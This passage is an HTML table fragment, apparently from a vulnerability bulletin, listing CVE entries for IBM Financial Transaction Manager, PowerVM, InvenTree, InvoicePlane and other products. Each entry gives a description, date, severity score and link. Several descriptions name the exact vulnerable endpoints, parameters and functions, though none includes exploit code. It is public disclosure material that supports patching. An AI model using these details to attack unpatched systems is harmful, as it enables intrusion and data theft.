&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to obtain sensitive information due to insufficiently protected credentials.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18124&quot; target=&quot;_blank&quot;&gt;CVE-2026-18124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to perform unauthorized payment mutation actions due to missing authorization.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18132&quot; target=&quot;_blank&quot;&gt;CVE-2026-18132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to bypass security controls by forging user identities due to improper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18156&quot; target=&quot;_blank&quot;&gt;CVE-2026-18156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to cause a denial of service due to allocation of resources without limits or throttling.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18170&quot; target=&quot;_blank&quot;&gt;CVE-2026-18170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to clear active chat sessions due to improper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18179&quot; target=&quot;_blank&quot;&gt;CVE-2026-18179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information due to SQL injection.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18180&quot; target=&quot;_blank&quot;&gt;CVE-2026-18180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to missing authentication on the Business Rules Manager commands REST endpoint (`CommandsResource.java:31`). A local actor can invoke unauthenticated commands to cause resource exhaustionand halt business-rule management functions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19267&quot; target=&quot;_blank&quot;&gt;CVE-2026-19267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift 4.0.6.0 through 4.0.6.0.0.6.0 Refresh (Operator 4.4.6+20260807.081800)4.0.7.04.0.8.04.0.9.04.0.10.0 Interim Fix 064 IBM Financial Transaction Manager transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17620&quot; target=&quot;_blank&quot;&gt;CVE-2026-17620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to modify server files due to path traversal.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18133&quot; target=&quot;_blank&quot;&gt;CVE-2026-18133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information and forge authentication tags due to the use of hard-coded cryptographic keys and initialization vectors.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18153&quot; target=&quot;_blank&quot;&gt;CVE-2026-18153&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to open redirect in the PMP `HostHeaderFilter` (`HostHeaderFilter.java:151`). An unauthenticated attacker can craft a request with a manipulated `Host` header to redirect authenticated operators to attacker-controlled sites, enabling credential phishing.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18505&quot; target=&quot;_blank&quot;&gt;CVE-2026-18505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to falsify transaction audit logs due to improper validation of a client-supplied HTTP header.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18161&quot; target=&quot;_blank&quot;&gt;CVE-2026-18161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to achieve privilege escalation within the container due to improper privilege management.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19087&quot; target=&quot;_blank&quot;&gt;CVE-2026-19087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--IBM Financial Transaction Manager (FTM) for Redhat OpenShift&lt;/td&gt;
&lt;td&gt;FTM 4.x ALL could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity injection flaw.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93030&quot; target=&quot;_blank&quot;&gt;CVE-2026-93030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--PowerVM Hypervisor&lt;/td&gt;
&lt;td&gt;IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the RTAS firmware-to-OS interface. An attacker with administrator-level (root) access to a logical partition can send a specially crafted request to partition firmware, causing the partition to crash and become unavailable. Other partitions on the same managed system are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17413&quot; target=&quot;_blank&quot;&gt;CVE-2026-17413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--PowerVM Hypervisor&lt;/td&gt;
&lt;td&gt;IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the partition firmware runtime boot configuration. An attacker with root access to a partition can maliciously alter partition nvram, causing the partition to fail to boot. This condition persists until operator intervention - deleting and recreating the partition configuration - to restore normal operation. Successful exploitation results in an integrity and availability impact.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17503&quot; target=&quot;_blank&quot;&gt;CVE-2026-17503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--PowerVM Hypervisor&lt;/td&gt;
&lt;td&gt;IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the partition firmware runtime. An attacker with root access to a partition can send a specially crafted request to the partition firmware runtime, causing it to crash with possible memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17504&quot; target=&quot;_blank&quot;&gt;CVE-2026-17504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--PowerVM Hypervisor&lt;/td&gt;
&lt;td&gt;IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 could allow a remote attacker to obtain sensitive information due to an out-of-bounds read.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18870&quot; target=&quot;_blank&quot;&gt;CVE-2026-18870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;iFlytek--astron-agent&lt;/td&gt;
&lt;td&gt;A weakness has been identified in iFlytek astron-agent up to 1.0.7. Affected is an unknown function of the file console/backend/commons/src/main/resources/mapper/ChatBotMarketMapper.xml of the component getBotList API endpoint. Executing a manipulation of the argument sortDirection can lead to sql injection. It is possible to launch the attack remotely. Upgrading to version reward-1575 is able to address this issue. This patch is called 6702be70ae802b1048f5fbec91e690e7b71a4165. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95929&quot; target=&quot;_blank&quot;&gt;CVE-2026-95929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;iFlytek--astron-agent&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in iFlytek astron-agent up to 1.0.6. Affected by this vulnerability is the function UrlCheckTool.checkUrl of the component debugToolV2 API endpoint. The manipulation of the argument endPoint leads to server-side request forgery. The attack can be initiated remotely. Upgrading to version reward-1575 addresses this issue. The identifier of the patch is 45ee5fb647e9894e73b0d7720fa94a66e4540bbb. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95930&quot; target=&quot;_blank&quot;&gt;CVE-2026-95930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;input-leap--Input Leap&lt;/td&gt;
&lt;td&gt;Input Leap (aka input-leap) through 3.0.3, when the non-default --enable-drag-drop option is used on Windows or macOS, mishandles the / versus \ distinction and allows directory traversal, with resultant code execution if a file is written to a startup directory. This occurs via a DDRG message.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100230&quot; target=&quot;_blank&quot;&gt;CVE-2026-100230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Intelliants--Subrion CMS&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Intelliants Subrion CMS up to 4.2.1. This affects an unknown part of the file /actions.json?action=assign-owner. The manipulation of the argument q results in information disclosure. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96772&quot; target=&quot;_blank&quot;&gt;CVE-2026-96772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Intelliants--Subrion CMS&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Intelliants Subrion CMS up to 4.2.1. This vulnerability affects the function iaUsers::authorize of the file front/login.php of the component Login Page. This manipulation of the argument $_SERVER[&#039;HTTP_REFERER&#039;] causes open redirect. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96773&quot; target=&quot;_blank&quot;&gt;CVE-2026-96773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;inventree--InvenTree&lt;/td&gt;
&lt;td&gt;InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, POST /api/barcode/ accepts an attacker-synthesized internal JSON barcode containing a lowercase model label and integer primary key, while BarcodeView uses IsAuthenticatedOrReadScope and requires only authentication or a general read scope. The built-in barcode plugin selects the object with model.objects.get(pk=...), and InvenTreeBarcodeMixin.format_matched_response() returns the complete model serializer output as instance without checking the caller&#039;s per-model view role. A low-privilege user can enumerate primary keys for parts, stock, locations, supplier and manufacturer parts, orders, and builds to disclose commercially sensitive inventory, pricing, supplier, customer, and order data. This issue is fixed in version 1.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61744&quot; target=&quot;_blank&quot;&gt;CVE-2026-61744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;inventree--InvenTree&lt;/td&gt;
&lt;td&gt;InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, privileged staff users who can author report or label templates can cause WeasyPrint report rendering to retrieve attacker-selected resources through the HTTP and HTTPS URL schemes or the local file URI scheme. The HTML(string=html).write_pdf() path does not provide a restricted url_fetcher, and attach_to_model=True stores the original generated PDF before later processing, allowing fetched local files or internal HTTP response bodies to be recovered from embedded attachments. This enables full-read server-side request forgery, arbitrary local file disclosure including application credentials, and possible compromise of a superuser account. This issue is fixed in version 1.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61749&quot; target=&quot;_blank&quot;&gt;CVE-2026-61749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;inventree--InvenTree&lt;/td&gt;
&lt;td&gt;InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, PluginSettingList, PluginAllSettingList, and PluginSettingDetail set GlobalSettingsPermissions without the IsAuthenticated permission used by the project default and equivalent global-settings endpoints. GlobalSettingsPermissions returns true for safe methods, while AuthRequiredMiddleware exempts /api/ paths, so an unauthenticated caller can retrieve plugin names, setting keys, descriptions, types, choices, and non-protected configuration values through /api/plugin/settings/ and the per-plugin settings endpoints. Protected secret values remain masked as three asterisks, limiting the issue to metadata and non-secret configuration disclosure. This issue is fixed in version 1.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61746&quot; target=&quot;_blank&quot;&gt;CVE-2026-61746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;inventree--InvenTree&lt;/td&gt;
&lt;td&gt;InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, the POST /api/machine/{pk}/restart/ endpoint in src/backend/InvenTree/machine/api.py uses IsAuthenticatedOrReadScope without requiring the ADMIN role used by other machine management operations. Any authenticated user who lacks the ADMIN role, including a warehouse user with only the STOCK role, can cause MachineRestart to invoke registry.restart_machine() for any registered machine, resetting its status and interrupting active printing, scanning, or other machine operations. This issue is fixed in version 1.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61745&quot; target=&quot;_blank&quot;&gt;CVE-2026-61745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;inventree--InvenTree&lt;/td&gt;
&lt;td&gt;InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, the /api/importer/row/ and /api/importer/mapping/ endpoints do not scope DataImportRow and DataImportColumnMap querysets to the owner of the associated DataImportSession. Any authenticated user, including an account with no assigned roles, can supply another user&#039;s import session identifier and retrieve that session&#039;s row_data and data fields together with its column mappings. This exposes the full contents of data staged for import across users, although the InvenTree threat model treats authenticated instance users as trusted. This issue is fixed in version 1.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61747&quot; target=&quot;_blank&quot;&gt;CVE-2026-61747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;inventree--InvenTree&lt;/td&gt;
&lt;td&gt;InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, ReportPrint at POST /api/report/print/ and LabelPrint at POST /api/report/label/print/ require authentication but do not call users.permissions.check_user_permission for the caller&#039;s per-model view role before selecting objects by primary key and rendering them with a chosen template. Because default templates exist for major business models and DataOutput stores the generated artifact for the requesting user, a role-less or unrelated-role account can enumerate object identifiers and download reports containing purchase, sales, part, bill-of-materials, stock, build, supplier, customer, pricing, and inventory data that the corresponding detail APIs would deny. This issue is fixed in version 1.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61748&quot; target=&quot;_blank&quot;&gt;CVE-2026-61748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores an administrator-controlled custom_field_table value without validating it against the allowed custom-field table names. Mdl_custom_fields::used() later concatenates that stored value into the FROM table and WHERE column identifier positions, so opening the custom-field edit form executes a second-order SQL injection. The injection can query arbitrary schema data and can cause application errors or denial of service. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54790&quot; target=&quot;_blank&quot;&gt;CVE-2026-54790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane exposes Recurring::stop() as a state-changing GET route without CSRF token validation. When an authenticated administrator loads attacker-controlled content that requests /invoices/recurring/stop/{id}, the application stops the selected recurring invoice. An attacker can target multiple identifiers to interrupt recurring billing and cause financial loss. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85274&quot; target=&quot;_blank&quot;&gt;CVE-2026-85274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane omits ensure_valid_post_request() from delete methods including Payments::delete(), Recurring::delete(), and User_clients::delete(). Although the routes require POST, they do not validate the request&#039;s CSRF token. An attacker can submit a cross-origin form through an authenticated administrator&#039;s browser to delete financial records and other application data. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85289&quot; target=&quot;_blank&quot;&gt;CVE-2026-85289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane&#039;s Users::change_password() method accepts a user_id from the URL and updates that account&#039;s password without an object-level authorization check. An authenticated secondary administrator can target the primary administrator account and replace its password without knowing the current password. The attacker can then take over the primary account and access its data and privileges. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85291&quot; target=&quot;_blank&quot;&gt;CVE-2026-85291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane&#039;s Cron::recur() method writes an invalid cron key from the URL path directly to the application log without neutralizing CRLF characters. An unauthenticated requester can place forged log lines into the audit trail by supplying a crafted cron_key value. The injected entries can corrupt forensic records and interfere with log-based monitoring. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85290&quot; target=&quot;_blank&quot;&gt;CVE-2026-85290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or another attachment feature and shares it with another user, the recipient can retrieve embedded GPS coordinates, timestamps, and device information. The preserved metadata can disclose private location and device details across users. This vulnerability is fixed in 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-39372&quot; target=&quot;_blank&quot;&gt;CVE-2026-39372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane&#039;s User_Controller compares the session user_type value with the required role by using PHP&#039;s loose inequality operator. Under a non-standard session backend that returns unexpected scalar types, type juggling can cause a value that is not strictly the required role to pass the authorization check. This can permit authentication or authorization bypass in affected session configurations. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85292&quot; target=&quot;_blank&quot;&gt;CVE-2026-85292&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. In version 1.7.2-beta-1, InvoicePlane stores client_email values without enforcing email syntax and renders them unescaped inside double-quoted value attributes in the invoice mailer form and quote mailer form. An administrator who can edit a client can store attribute-breaking input, and, when the mailer is configured, JavaScript executes when another authenticated administrator opens the related mailer page. The script runs in the InvoicePlane origin and can perform same-origin actions with the victim&#039;s session. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85293&quot; target=&quot;_blank&quot;&gt;CVE-2026-85293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IRONMACE--Ironshield&lt;/td&gt;
&lt;td&gt;IRONMACE Ironshield 1.0.0.167 has a tvk.sys kernel-mode driver that authenticates client executables by checking for expected publisher and root-certificate strings in WIN_CERTIFICATE data (&quot;IRONMACE Co., Ltd.&quot; and &quot;DigiCert Trusted Root G4&quot;) instead of parsing and validating the PKCS signature data. As a result, a local unprivileged attacker may bypass this via crafted certificate data and obtain access to privileged IOCTL functionality.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97732&quot; target=&quot;_blank&quot;&gt;CVE-2026-97732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
